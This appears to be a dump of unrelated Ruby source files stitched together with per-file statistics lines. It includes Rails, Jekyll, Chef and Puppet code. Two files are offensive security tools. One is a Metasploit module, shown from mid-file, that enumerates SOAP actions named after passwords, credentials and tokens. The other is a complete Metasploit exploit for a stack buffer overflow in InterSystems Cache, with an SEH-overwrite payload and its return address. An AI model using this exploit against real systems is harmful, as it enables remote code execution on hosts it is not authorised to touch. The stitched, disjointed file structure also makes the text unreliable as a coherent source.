if (datastore['VERB_DELETE'])
verbs << 'delete'
end
nouns = [
'password',
'task',
'tasks',
'pass',
'administration',
'account',
'accounts',
'admin',
'login',
'logins',
'token',
'tokens',
'credential',
'credentials',
'key',
'keys',
'guid',
'message',
'messages',
'user',
'users',
'username',
'usernames',
'load',
'list',
'name',
'names',
'file',
'files',
'path',
'paths',
'directory',
'directories',
'configuration',
'configurations',
'config',
'configs',
'setting',
'settings',
'registry',
'on',
'off',
]
target_port = datastore['RPORT']
vhost = datastore['VHOST'] || wmap_target_host || ip
# regular expressions for common rejection messages
reject_regexen = []
reject_regexen << Regexp.new("method \\S+ is not valid", true)
reject_regexen << Regexp.new("Method \\S+ not implemented", true)
reject_regexen << Regexp.new("unable to resolve WSDL method name", true)
begin
verbs.each do |v|
nouns.each do |n|
data_parts = []
data_parts << "<?xml version=\"1.0\" encoding=\"utf-8\"?>"
data_parts << "<soap:Envelope xmlns:xsi=\"#{datastore['XMLINSTANCE']}\" xmlns:xsd=\"#{datastore['XMLSCHEMA']}\" xmlns:soap=\"#{datastore['XMLSOAP']}\">"
data_parts << "<soap:Body>"
data_parts << "<#{v}#{n} xmlns=\"#{datastore['XMLNAMESPACE']}\">"
data_parts << "</#{v}#{n}>"
data_parts << "</soap:Body>"
data_parts << "</soap:Envelope>"
data_parts << nil
data_parts << nil
data = data_parts.join("\r\n")
uri = normalize_uri(datastore['PATH'])
vprint_status("Sending request #{uri}/#{v}#{n} to #{wmap_target_host}:#{datastore['RPORT']}")
res = send_request_raw({
'uri' => uri + '/' + v + n,
'method' => 'POST',
'vhost' => vhost,
'data' => data,
'headers' =>
{
'Content-Length' => data.length,
'SOAPAction' => '"' + datastore['XMLNAMESPACE'] + v + n + '"',
'Expect' => '100-continue',
'Content-Type' => datastore['CONTENTTYPE'],
}
}, 15)
if (res && !(res.body.empty?))
if ((not reject_regexen.select { |r| res.body =~ r }.empty?))
print_status("Server #{wmap_target_host}:#{datastore['RPORT']} rejected SOAPAction: #{v}#{n} with HTTP: #{res.code} #{res.message}.")
elsif (res.message =~ /Cannot process the message because the content type/)
print_status("Server #{wmap_target_host}:#{datastore['RPORT']} rejected CONTENTTYPE: HTTP: #{res.code} #{res.message}.")
res.message =~ /was not the expected type\s\'([^']+)'/
print_status("Set CONTENTTYPE to \"#{$1}\"")
return false
elsif (res.code == 404)
print_status("Server #{wmap_target_host}:#{datastore['RPORT']} returned HTTP 404 for #{datastore['PATH']}. Use a different one.")
return false
else
print_status("Server #{wmap_target_host}:#{datastore['RPORT']} responded to SOAPAction: #{v}#{n} with HTTP: #{res.code} #{res.message}.")
## Add Report
report_note(
:host => ip,
:proto => 'tcp',
:sname => (ssl ? 'https' : 'http'),
:port => rport,
:type => "SOAPAction: #{v}#{n}",
:data => "SOAPAction: #{v}#{n} with HTTP: #{res.code} #{res.message}."
)
if datastore['DISPLAYHTML']
print_status("The HTML content follows:")
print_status(res.body + "\r\n")
end
end
end
select(nil, nil, nil, datastore['SLEEP']) if (datastore['SLEEP'] > 0)
end
end
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Timeout::Error, ::Errno::EPIPE => e
vprint_error(e.message)
end
end
end
| 29.524752 | 157 | 0.58216 |
18437ac4dee9595e31906637f7fb00a1a8dd36b7 | 1,133 | class Gemmy < ApplicationRecord
include HasCompats
FORBIDDEN_NAMES = %w(
new
edit
rails
)
validates :name, presence: true, uniqueness: { allow_blank: true }, exclusion: FORBIDDEN_NAMES
scope :with_dependencies, ->(dependencies) { where('dependencies_and_versions ? :dependencies', dependencies: dependencies.to_json) }
delegate :to_param, :to_s, to: :name
def dependencies
dependencies_and_versions.keys
.map(&JSON.method(:parse))
end
def versions(dependencies = nil)
version_groups = dependencies ? dependencies_and_versions.fetch_values(*dependencies.map(&:to_json)) :
dependencies_and_versions.values
version_groups.flatten
.map(&Gem::Version.method(:new))
.sort
end
end
# == Schema Information
#
# Table name: gemmies
#
# id :bigint not null, primary key
# name :string
# dependencies_and_versions :jsonb
# created_at :datetime not null
# updated_at :datetime not null
#
| 27.634146 | 135 | 0.606355 |
ac9b9978e13daa5365eeec9c57a6da8f0939f895 | 1,001 | class MicropostsController < ApplicationController
before_action :logged_in_user, only: [:create, :destroy]
before_action :correct_user, only: [:destroy]
def create
@micropost = current_user.microposts.build(content: micropost_params[:content])
@micropost.image.attach(params[:micropost][:image])
if @micropost.save
flash[:success] = "Micropost created!"
redirect_to root_url
else
@feed_items = current_user.feed.paginate(page: params[:page])
render 'static_pages/home'
end
end
def destroy
@micropost.destroy
flash[:success] = "Micropost deleted"
if request.referrer.nil? || request.referrer == microposts_url
redirect_to root_url
else
redirect_to request.referrer
end
end
private
def micropost_params
params.require(:micropost).permit(:content, :image)
end
def correct_user
@micropost = current_user.microposts.find_by(id: params[:id])
redirect_to root_url if @micropost.nil?
end
end
| 26.342105 | 83 | 0.711289 |
79057cbb4e1ef80f19a9d92cd7fecf27d87211c7 | 597 | '''
Slash Command Incoming Variables
token=aUSqBXbocBj5Umd9hpHnrxcO
team_id=T0001
team_domain=example
channel_id=C2147483705
channel_name=test
user_id=U2147483697
user_name=Steve
command=/weather
text=94070
response_url=https://hooks.slack.com/commands/1234/5678
'''
def build_slack_message(response_type, username, channel, icon_url, icon_emoji, payload)
data = { response_type: response_type, username: username, channel: channel, text: payload }
(icon_url) ? (data['icon_url'] = icon_url) : (icon_emoji) ? (data['icon_emoji'] = icon_emoji) : data['icon_emoji'] = ':robot_face:'
data
end
| 25.956522 | 132 | 0.778894 |
e2497609fc868f0a34920e782044f3a3a0f466ab | 2,102 | module Jekyll
class PortfolioIndex < Page
def initialize(site, base, dir)
@site = site
@base = base
@dir = dir
@name = "index.html"
self.process(@name)
self.read_yaml(File.join(base, '_layouts'), 'portfolio.html')
self.data['projects'] = self.get_projects(site)
end
def get_projects(site)
{}.tap do |projects|
Dir['_projects/*.yml'].each do |path|
name = File.basename(path, '.yml')
config = YAML.load(File.read(File.join(@base, path)))
projects[name] = config if config['published']
end
end
end
end
class ProjectIndex < Page
def initialize(site, base, dir, path)
@site = site
@base = base
@dir = dir
@name = "index.html"
self.data = YAML.load(File.read(File.join(@base, path)))
self.process(@name) if self.data['published']
end
end
class GeneratePortfolio < Generator
safe true
priority :normal
def generate(site)
self.write_portfolio(site)
end
# Loops through the list of project pages and processes each one.
def write_portfolio(site)
if Dir.exists?('_projects')
Dir.chdir('_projects')
Dir["*.yml"].each do |path|
name = File.basename(path, '.yml')
self.write_project_index(site, "_projects/#{path}", name)
end
Dir.chdir(site.source)
self.write_portfolio_index(site)
end
end
def write_portfolio_index(site)
portfolio = PortfolioIndex.new(site, site.source, "/portfolio")
portfolio.render(site.layouts, site.site_payload)
portfolio.write(site.dest)
site.pages << portfolio
site.static_files << portfolio
end
def write_project_index(site, path, name)
project = ProjectIndex.new(site, site.source, "/portfolio/#{name}", path)
if project.data['published']
project.render(site.layouts, site.site_payload)
project.write(site.dest)
site.pages << project
site.static_files << project
end
end
end
end
| 25.950617 | 79 | 0.606089 |
ab6534f367bdcd9294ce51d47da4ae69d12ba0a4 | 135 | # frozen_string_literal: true
module ParityHelper # mix-in
module_function
def parity(n)
n.odd? ? 'odd' : 'even'
end
end
| 11.25 | 29 | 0.666667 |
3862951f76bde9825bf324d2bb4f46fb32153f45 | 7,084 | require 'chef/formatters/base'
class Chef
module Formatters
# == Formatters::Minimal
# Shows the progress of the chef run by printing single characters, and
# displays a summary of updates at the conclusion of the run. For events
# that don't have meaningful status information (loading a file, syncing a
# cookbook) a dot is printed. For resources, a dot, 'S' or 'U' is printed
# if the resource is up to date, skipped by not_if/only_if, or updated,
# respectively.
class Minimal < Formatters::Base
cli_name(:minimal)
cli_name(:min)
attr_reader :updated_resources
attr_reader :updates_by_resource
def initialize(out, err)
super
@updated_resources = []
@updates_by_resource = Hash.new {|h, k| h[k] = []}
end
# Called at the very start of a Chef Run
def run_start(version)
puts "Starting Chef Client, version #{version}"
end
# Called at the end of the Chef run.
def run_completed(node)
puts "chef client finished, #{@updated_resources.size} resources updated"
end
# called at the end of a failed run
def run_failed(exception)
puts "chef client failed. #{@updated_resources.size} resources updated"
end
# Called right after ohai runs.
def ohai_completed(node)
end
# Already have a client key, assuming this node has registered.
def skipping_registration(node_name, config)
end
# About to attempt to register as +node_name+
def registration_start(node_name, config)
end
def registration_completed
end
# Failed to register this client with the server.
def registration_failed(node_name, exception, config)
super
end
def node_load_start(node_name, config)
end
# Failed to load node data from the server
def node_load_failed(node_name, exception, config)
end
# Default and override attrs from roles have been computed, but not yet applied.
# Normal attrs from JSON have been added to the node.
def node_load_completed(node, expanded_run_list, config)
end
# Called before the cookbook collection is fetched from the server.
def cookbook_resolution_start(expanded_run_list)
puts "resolving cookbooks for run list: #{expanded_run_list.inspect}"
end
# Called when there is an error getting the cookbook collection from the
# server.
def cookbook_resolution_failed(expanded_run_list, exception)
end
# Called when the cookbook collection is returned from the server.
def cookbook_resolution_complete(cookbook_collection)
end
# Called before unneeded cookbooks are removed
#--
# TODO: Should be called in CookbookVersion.sync_cookbooks
def cookbook_clean_start
end
# Called after the file at +path+ is removed. It may be removed if the
# cookbook containing it was removed from the run list, or if the file was
# removed from the cookbook.
def removed_cookbook_file(path)
end
# Called when cookbook cleaning is finished.
def cookbook_clean_complete
end
# Called before cookbook sync starts
def cookbook_sync_start(cookbook_count)
puts "Synchronizing cookbooks"
end
# Called when cookbook +cookbook+ has been sync'd
def synchronized_cookbook(cookbook_name, cookbook)
print "."
end
# Called when an individual file in a cookbook has been updated
def updated_cookbook_file(cookbook_name, path)
end
# Called after all cookbooks have been sync'd.
def cookbook_sync_complete
puts "done."
end
# Called when cookbook loading starts.
def library_load_start(file_count)
puts "Compiling cookbooks"
end
# Called after a file in a cookbook is loaded.
def file_loaded(path)
print '.'
end
def file_load_failed(path, exception)
super
end
# Called when recipes have been loaded.
def recipe_load_complete
puts "done."
end
# Called before convergence starts
def converge_start(run_context)
puts "Converging #{run_context.resource_collection.all_resources.size} resources"
end
# Called when the converge phase is finished.
def converge_complete
puts "\n"
puts "System converged."
if updated_resources.empty?
puts "no resources updated"
else
puts "\n"
puts "resources updated this run:"
updated_resources.each do |resource|
puts "* #{resource.to_s}"
updates_by_resource[resource.name].flatten.each do |update|
puts " - #{update}"
end
puts "\n"
end
end
end
# Called before action is executed on a resource.
def resource_action_start(resource, action, notification_type=nil, notifier=nil)
end
# Called when a resource fails, but will retry.
def resource_failed_retriable(resource, action, retry_count, exception)
end
# Called when a resource fails and will not be retried.
def resource_failed(resource, action, exception)
end
# Called when a resource action has been skipped b/c of a conditional
def resource_skipped(resource, action, conditional)
print "S"
end
# Called after #load_current_resource has run.
def resource_current_state_loaded(resource, action, current_resource)
end
# Called when a resource has no converge actions, e.g., it was already correct.
def resource_up_to_date(resource, action)
print "."
end
## TODO: callback for assertion failures
## TODO: callback for assertion fallback in why run
# Called when a change has been made to a resource. May be called multiple
# times per resource, e.g., a file may have its content updated, and then
# its permissions updated.
def resource_update_applied(resource, action, update)
@updates_by_resource[resource.name] << Array(update)[0]
end
# Called after a resource has been completely converged.
def resource_updated(resource, action)
updated_resources << resource
print "U"
end
# Called before handlers run
def handlers_start(handler_count)
end
# Called after an individual handler has run
def handler_executed(handler)
end
# Called after all handlers have executed
def handlers_completed
end
# An uncategorized message. This supports the case that a user needs to
# pass output that doesn't fit into one of the callbacks above. Note that
# there's no semantic information about the content or importance of the
# message. That means that if you're using this too often, you should add a
# callback for it.
def msg(message)
end
end
end
end
| 30.016949 | 89 | 0.659938 |
623c8d761aaf1d5757c700e102814395832cf9f7 | 1,873 | require "puppet/parameter/boolean"
# Autogenic core type
Puppet::Type.newtype(:azure_batchai_cluster) do
@doc = "Information about a Cluster."
ensurable
validate do
required_properties = []
required_properties.each do |property|
# We check for both places so as to cover the puppet resource path as well
if self[:ensure] == :present && self[property].nil? && self.provider.send(property) == :absent
raise Puppet::Error, "In azure_batchai_cluster you must provide a value for #{property}"
end
end
end
newproperty(:id) do
desc "The ID of the resource."
validate do |value|
true
end
end
newparam(:name) do
isnamevar
desc "The name of the resource."
validate do |value|
true
end
end
newproperty(:properties) do
desc "The properties associated with the Cluster."
validate do |value|
true
end
end
newproperty(:type) do
desc "The type of the resource."
validate do |value|
true
end
end
newparam(:api_version) do
desc "Specifies the version of API used for this request."
validate do |value|
true
end
end
newparam(:parameters) do
desc "The parameters to provide for the Cluster creation."
validate do |value|
true
end
end
newparam(:resource_group_name) do
desc "Name of the resource group to which the resource belongs."
validate do |value|
true
end
end
newparam(:subscription_id) do
desc "The subscriptionID for the Azure user."
validate do |value|
true
end
end
newparam(:workspace_name) do
desc "The name of the workspace. Workspace names can only contain a combination of alphanumeric characters along with dash (-) and underscore (_). The name must be from 1 through 64 characters long."
validate do |value|
true
end
end
end
| 24.973333 | 203 | 0.67165 |
6af6380658185797400d6228bdd037cfb6ac84f4 | 2,321 | $:.unshift File.dirname(__FILE__)
require 'singleton'
module Ick
class Base
include Singleton
def returns(value, result)
raise 'implemented by subclass or by calling meta-method'
end
def evaluate(value, proc)
raise 'implemented by subclass or by calling meta-method'
end
def invoke(value, &proc)
result = evaluate(value, proc)
returns(value, result)
end
def self.evaluates_in_calling_environment
define_method :evaluate do |value, proc|
proc.call(value)
end
true
end
def self.evaluates_in_value_environment
define_method :evaluate do |value, proc|
value.instance_eval(&proc)
end
true
end
def self.returns_value
define_method :returns do |value, result|
value
end
true
end
def self.returns_result
define_method :returns do |value, result|
result
end
true
end
#snarfed from Ruby On Rails
def self.underscore(camel_cased_word)
camel_cased_word.to_s.gsub(/::/, '/').
gsub(/([A-Z]+)([A-Z][a-z])/,'\1_\2').
tr("-", "_").
downcase
end
def self.belongs_to clazz
method_name = self.underscore(self.name.split('::')[-1])
unless clazz.method_defined?(method_name)
clazz.class_eval "
def #{method_name}(value=self,&proc)
if block_given?
#{self.name}.instance.invoke(value, &proc)
else
Invoker.new(value, #{self.name})
end
end"
end
end
end
class Invoker
instance_methods.reject { |m| m =~ /^__/ }.each { |m| undef_method m }
def initialize(value, clazz)
@value = value
@clazz = clazz
end
def method_missing(sym, *args, &block)
@clazz.instance.invoke(@value) { |value|
value.__send__(sym, *args, &block)
}
end
end
class Let < Base
evaluates_in_calling_environment and returns_result
end
class Returning < Base
evaluates_in_calling_environment and returns_value
end
class My < Base
evaluates_in_value_environment and returns_result
end
class Inside < Base
evaluates_in_value_environment and returns_value
end
end | 21.490741 | 74 | 0.601034 |
5d471918407743cd55dc0c97273bfa9117a9e74a | 1,109 | # This file is auto-generated from the current state of the database. Instead
# of editing this file, please use the migrations feature of Active Record to
# incrementally modify your database, and then regenerate this schema definition.
#
# Note that this schema.rb definition is the authoritative source for your
# database schema. If you need to create the application database on another
# system, you should be using db:schema:load, not running all the migrations
# from scratch. The latter is a flawed and unsustainable approach (the more migrations
# you'll amass, the slower it'll run and the greater likelihood for issues).
#
# It's strongly recommended that you check this file into your version control system.
ActiveRecord::Schema.define(version: 20170705025556) do
create_table "model_as", force: :cascade do |t|
t.string "image"
t.text "images"
t.datetime "created_at", null: false
t.datetime "updated_at", null: false
end
create_table "model_bs", force: :cascade do |t|
t.datetime "created_at", null: false
t.datetime "updated_at", null: false
end
end
| 39.607143 | 86 | 0.752029 |
1c61dbd194d8a250288aaade1e1eb7e3f6acd1ab | 1,394 | require 'mpd32api/version'
require 'mpd32api/mapping'
require 'unimidi'
module Mpd32Api
def Mpd32Api.get_midi_input_device
UniMIDI::Input.gets
end
def Mpd32Api.get_midi_output_device
UniMIDI::Output.gets
end
class Library
def initialize(input_device, output_device)
input_device.instance_of?(UniMIDI::CoreMIDIAdapter::Input) ?
@input = input_device :
@input = UniMIDI::Input.use(input_device)
output_device.instance_of?(UniMIDI::CoreMIDIAdapter::Output) ?
@output = output_device :
@output = UniMIDI::Output.use(output_device)
end
def start_read_input
@input.open
loop {
message = @input.gets
p message
}
end
def send_msg(message)
@output.open { |output|
output.puts(message)
}
end
def switch_to_control_bank(x)
self.send_msg Mpd32Api::MIDI_MAPPING[:control_bank][x]
end
def switch_to_pad_bank(x)
self.send_msg Mpd32Api::MIDI_MAPPING[:pad_bank][x]
end
def note_repeat(x)
self.send_msg Mpd32Api::MIDI_MAPPING[:note_repeat][x]
end
def time_division(x)
self.send_msg Mpd32Api::MIDI_MAPPING[:time_division][x]
end
def showcase
Mpd32Api::MIDI_MAPPING.each do |kx,vx|
vx.each do |ky,vy|
self.send_msg vy
sleep 1
end
end
end
end
end
| 21.78125 | 68 | 0.647776 |
337ad7fb28b0cd0523982bc60059e8cfdbdc93ca | 488 | class AddCreatedByIdAndUpdatedByIdToModels < ActiveRecord::Migration
def change
add_column :users, :created_by_id, :integer
add_column :users, :updated_by_id, :integer
add_column :roles, :created_by_id, :integer
add_column :roles, :updated_by_id, :integer
add_column :groups, :created_by_id, :integer
add_column :groups, :updated_by_id, :integer
add_column :user_roles, :created_by_id, :integer
add_column :user_roles, :updated_by_id, :integer
end
end
| 37.538462 | 68 | 0.756148 |
0391faf5d2eb29825d719d28f9f992341f72c6e5 | 260 | class TalksMailerPreview < ActionMailer::Preview
def project_talk
TalksMailer.project_talk(User.first, Project.first)
end
def lead_talk
TalksMailer.lead_talk(User.first, MoneyRequire.first)
end
def work_talk
end
def talk
end
end
| 14.444444 | 57 | 0.742308 |
39af671c8f20fdb9eda94de01e10c3eac6b7e176 | 1,235 | RSpec.describe DisjointSetForest do
it "has a version number" do
expect(DisjointSetForest::VERSION).not_to be nil
end
describe "#make_set" do
it "should create a new set, with one element, and have that element be the set representative" do
disjoint_set = DisjointSetForest::DisjointSetForest.new
new_element = "test"
disjoint_set.make_set(new_element)
expect(disjoint_set.find(new_element)).to eq(new_element)
end
end
describe "#find" do
it "should return the set representative" do
disjoint_set = DisjointSetForest::DisjointSetForest.new
root = "root"
child = "child"
disjoint_set.make_set(root)
disjoint_set.make_set(child)
disjoint_set.union(root, child) # when ranks equal, right under left
expect(disjoint_set.find(child)).to eq(root)
end
end
describe "#union" do
it "should make the set representatives for the two elements the same" do
disjoint_set = DisjointSetForest::DisjointSetForest.new
x = "x"
y = "y"
disjoint_set.make_set(x)
disjoint_set.make_set(y)
disjoint_set.union(x, y)
expect(disjoint_set.find(x)).to eq(disjoint_set.find(y))
end
end
end
| 27.444444 | 103 | 0.682591 |
5d82b19a450964863286a360da51d750ae5134b8 | 107 | class SponsorsController < ApplicationController
def index
@sponsors = Sponsor.active.uniq
end
end
| 17.833333 | 48 | 0.775701 |
e9ae711842329e97a30b30eac7d7a97757af1cb5 | 241 | # encoding: utf-8
describe "Negation" do
it "works" do
blacklist = Selector.new except: /bar/
selector = !blacklist
expect(selector[:foo]).to eql(false)
expect(selector[:bar]).to eql(true)
end
end # describe Negation
| 17.214286 | 42 | 0.6639 |
e8d8eaf12e4e2ddba975822288112cb3bc850701 | 532 | $LOAD_PATH << File.dirname(__FILE__)
require 'element.rb'
module WikiValidator
# class only used to parse Attributes of TemplateItems
class Attribute < Element
attr_reader :name, :value
# |name: value
@regex = /\|(?<attribute>\w+):[ ]*(?<value>[^\n;$]*)/
@starts_with =/\|/
private
def init(params)
@type = :attribute
match = Attribute.regex.match(@raw)
if !match.nil?
@name = match[:attribute]
@value = match[:value]
end
end
end
end
| 18.344828 | 57 | 0.573308 |
1ad9853b3fd14b0e2bb6da723b54c16e288d5ee6 | 1,955 | # frozen_string_literal: true
FactoryBot.define do
factory :api_gateway_context, class: Hash do
initialize_with { attributes.deep_stringify_keys }
end
factory :api_gateway_event, class: Hash do
path { '/api/v1/mailing/1234' }
resource { '/__proxy+}' }
httpMethod { 'POST' }
headers do
{
'Accept-Encoding' => 'gzip, br, deflate',
'Authorization' => 'Bearer foobarblubb',
'Content-Length' => body.to_s.bytesize,
'Content-Type' => 'text/plain'
}
end
multiValueHeaders do
headers.transform_values { |value| Array(value) }
end
multiValueQueryStringParameters do
{
'foo' => %w[foo],
'bar' => %w[bar baz],
'top[nested][nested_value]' => %w[value],
'top[nested][nested_array][]' => %w[1]
}
end
queryStringParameters do
multiValueQueryStringParameters.transform_values(&:first)
end
pathParameters do
{
id: '1234'
}
end
stageVariables { nil }
requestContext do
{
resourceId: nil,
resourcePath: resource,
httpMethod: httpMethod,
extendedRequestId: nil,
requestTime: nil,
path: path,
accountId: nil,
protocol: 'HTTP/1.1',
stage: 'test',
domainPrefix: nil,
requestTimeEpoch: Time.now.to_i * 1000,
requestId: nil,
identity: {
cognitoIdentityPoolId: nil,
accountId: nil,
cognitoIdentityId: nil,
caller: nil,
sourceIp: '127.0.0.1',
accessKey: nil,
cognitoAuthenticationType: nil,
cognitoAuthenticationProvider: nil,
userArn: nil,
userAgent: 'curl/7.54.0',
user: nil
},
domainName: 'test.local',
apiId: nil
}
end
body { nil }
isBase64Encoded { false }
initialize_with { attributes.deep_stringify_keys }
end
end
| 25.38961 | 63 | 0.570844 |
283199b376f0b47f07bedfd412d117e24fb30846 | 2,324 | ##
# $Id$
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = GreatRanking
# XXX: Needs custom body check HttpFingerprint = { :uri => '/csp/sys/mgr/UtilConfigHome.csp', :body => [ /Cache for Windows/ ] }
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'InterSystems Cache UtilConfigHome.csp Argument Buffer Overflow',
'Description' => %q{
This module exploits a stack buffer overflow in InterSystems Cache 2009.1.
By sending a specially crafted GET request, an attacker may be able to execute
arbitrary code.
},
'Author' => [ 'MC' ],
'License' => MSF_LICENSE,
'Version' => '$Revision$',
'References' =>
[
[ 'OSVDB', '60549' ],
[ 'BID', '37177' ],
],
'DefaultOptions' =>
{
'EXITFUNC' => 'thread',
},
'Privileged' => true,
'Payload' =>
{
'Space' => 650,
'BadChars' => "\x00\x3a\x26\x3f\x0c\x25\x23\x20\x0a\x0d\x09\x2f\x2b\x2e\x0b\x5c",
'PrependEncoder' => "\x81\xc4\xff\xef\xff\xff\x44",
},
'Platform' => 'win',
'Targets' =>
[
[ 'Windows 2000 SP4 English', { 'Offset' => 710, 'Ret' => 0x6ff2791a } ], # libhttpd.dll 2.2.11.0 / pop ebp | pop ebx | ret
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Sep 29 2009')) # Initially...!
register_options( [ Opt::RPORT(57772) ], self.class )
end
def exploit
# offset to the seh frame.
sploit = payload.encoded + rand_text_alpha_upper(target['Offset'] - payload.encoded.length)
# jmp $+6 | p/p/r
sploit << Rex::Arch::X86.jmp_short(6) + [target.ret].pack('V')
# fall into some nops, jmp back to our final payload.
sploit << make_nops(8) + [0xe9, -700].pack('CV')
# cause the av!
sploit << rand_text_alpha_upper(payload.encoded.length)
print_status("Trying target #{target.name}...")
send_request_raw({
'uri' => '/csp/sys/mgr/UtilConfigHome.csp=' + sploit,
'method' => 'GET',
}, 5)
handler
end
end
| 29.417722 | 129 | 0.606713 |
ed4720b2f9b97630b5e5063fe6db90cbca9b1504 | 4,750 | # frozen_string_literal: true
module ActiveRecord
class FixtureSet
class TableRow # :nodoc:
class ReflectionProxy # :nodoc:
def initialize(association)
@association = association
end
def join_table
@association.join_table
end
def name
@association.name
end
def primary_key_type
@association.klass.type_for_attribute(@association.klass.primary_key).type
end
end
class HasManyThroughProxy < ReflectionProxy # :nodoc:
def rhs_key
@association.foreign_key
end
def lhs_key
@association.through_reflection.foreign_key
end
def join_table
@association.through_reflection.table_name
end
end
def initialize(fixture, table_rows:, label:, now:)
@table_rows = table_rows
@label = label
@now = now
@row = fixture.to_hash
fill_row_model_attributes
end
def to_hash
@row
end
private
def model_metadata
@table_rows.model_metadata
end
def model_class
@table_rows.model_class
end
def fill_row_model_attributes
return unless model_class
fill_timestamps
interpolate_label
generate_primary_key
resolve_enums
resolve_sti_reflections
end
def reflection_class
@reflection_class ||= if @row.include?(model_metadata.inheritance_column_name)
@row[model_metadata.inheritance_column_name].constantize rescue model_class
else
model_class
end
end
def fill_timestamps
# fill in timestamp columns if they aren't specified and the model is set to record_timestamps
if model_class.record_timestamps
model_metadata.timestamp_column_names.each do |c_name|
@row[c_name] = @now unless @row.key?(c_name)
end
end
end
def interpolate_label
# interpolate the fixture label
@row.each do |key, value|
@row[key] = value.gsub("$LABEL", @label.to_s) if value.is_a?(String)
end
end
def generate_primary_key
# generate a primary key if necessary
if model_metadata.has_primary_key_column? && [email protected]?(model_metadata.primary_key_name)
@row[model_metadata.primary_key_name] = ActiveRecord::FixtureSet.identify(
@label, model_metadata.primary_key_type
)
end
end
def resolve_enums
model_class.defined_enums.each do |name, values|
if @row.include?(name)
@row[name] = values.fetch(@row[name], @row[name])
end
end
end
def resolve_sti_reflections
# If STI is used, find the correct subclass for association reflection
reflection_class._reflections.each_value do |association|
case association.macro
when :belongs_to
# Do not replace association name with association foreign key if they are named the same
fk_name = association.join_foreign_key
if association.name.to_s != fk_name && value = @row.delete(association.name.to_s)
if association.polymorphic? && value.sub!(/\s*\(([^)]*)\)\s*$/, "")
# support polymorphic belongs_to as "label (Type)"
@row[association.join_foreign_type] = $1
end
fk_type = reflection_class.type_for_attribute(fk_name).type
@row[fk_name] = ActiveRecord::FixtureSet.identify(value, fk_type)
end
when :has_many
if association.options[:through]
add_join_records(HasManyThroughProxy.new(association))
end
end
end
end
def add_join_records(association)
# This is the case when the join table has no fixtures file
if (targets = @row.delete(association.name.to_s))
table_name = association.join_table
column_type = association.primary_key_type
lhs_key = association.lhs_key
rhs_key = association.rhs_key
targets = targets.is_a?(Array) ? targets : targets.split(/\s*,\s*/)
joins = targets.map do |target|
{ lhs_key => @row[model_metadata.primary_key_name],
rhs_key => ActiveRecord::FixtureSet.identify(target, column_type) }
end
@table_rows.tables[table_name].concat(joins)
end
end
end
end
end
| 31.045752 | 104 | 0.590526 |
e2dbcf61049969768655c7e27ed05bd7abd10a7a | 3,190 | # *******************************************************************************
# OpenStudio(R), Copyright (c) 2008-2021, Alliance for Sustainable Energy, LLC.
# All rights reserved.
# Redistribution and use in source and binary forms, with or without
# modification, are permitted provided that the following conditions are met:
#
# (1) Redistributions of source code must retain the above copyright notice,
# this list of conditions and the following disclaimer.
#
# (2) Redistributions in binary form must reproduce the above copyright notice,
# this list of conditions and the following disclaimer in the documentation
# and/or other materials provided with the distribution.
#
# (3) Neither the name of the copyright holder nor the names of any contributors
# may be used to endorse or promote products derived from this software without
# specific prior written permission from the respective party.
#
# (4) Other than as required in clauses (1) and (2), distributions in any form
# of modifications or other derivative works may not use the "OpenStudio"
# trademark, "OS", "os", or any other confusingly similar designation without
# specific prior written permission from Alliance for Sustainable Energy, LLC.
#
# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDER(S) AND ANY CONTRIBUTORS
# "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO,
# THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
# ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER(S), ANY CONTRIBUTORS, THE
# UNITED STATES GOVERNMENT, OR THE UNITED STATES DEPARTMENT OF ENERGY, NOR ANY OF
# THEIR EMPLOYEES, BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
# EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT
# OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
# INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT,
# STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
# OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
# *******************************************************************************
class OpenStudio::Model::AirTerminalSingleDuctConstantVolumeCooledBeam
def maxAirFlowRate
if supplyAirVolumetricFlowRate.is_initialized
supplyAirVolumetricFlowRate
else
autosizedSupplyAirVolumetricFlowRate
end
end
def maxWaterFlowRate
if maximumTotalChilledWaterVolumetricFlowRate.is_initialized
maximumTotalChilledWaterVolumetricFlowRate
else
autosizedMaximumTotalChilledWaterVolumetricFlowRate
end
end
def maxAirFlowRateAutosized
if supplyAirVolumetricFlowRate.is_initialized
# Not autosized if hard size field value present
return OpenStudio::OptionalBool.new(false)
else
return OpenStudio::OptionalBool.new(true)
end
end
def maxWaterFlowRateAutosized
if maximumTotalChilledWaterVolumetricFlowRate.is_initialized
# Not autosized if hard size field value present
return OpenStudio::OptionalBool.new(false)
else
return OpenStudio::OptionalBool.new(true)
end
end
end
| 44.929577 | 85 | 0.74326 |
ff453f98192d9570a597b53cb5befe67b17a9a60 | 63 | class CommentVote < BaseVote
belongs_to_votable :comment
end
| 15.75 | 29 | 0.825397 |
1c9b4bedbb2c4cf0f8e829c3b1d6cf79b8f83286 | 882 | # Copyright (c) 2009-2012 VMware, Inc.
module Bosh::Director
module Api
class TaskManager
# Looks up director task in DB
# @param [Integer] task_id
# @return [Models::Task] Task
# @raise [TaskNotFound]
def find_task(task_id)
task = Models::Task[task_id]
if task.nil?
raise TaskNotFound, "Task #{task_id} not found"
end
task
end
# Returns hash representation of the task
# @param [Models::Task] task Director task
# @return [Hash] Hash task representation
def task_to_hash(task)
{
"id" => task.id,
"state" => task.state,
"description" => task.description,
"timestamp" => task.timestamp.to_i,
"result" => task.result,
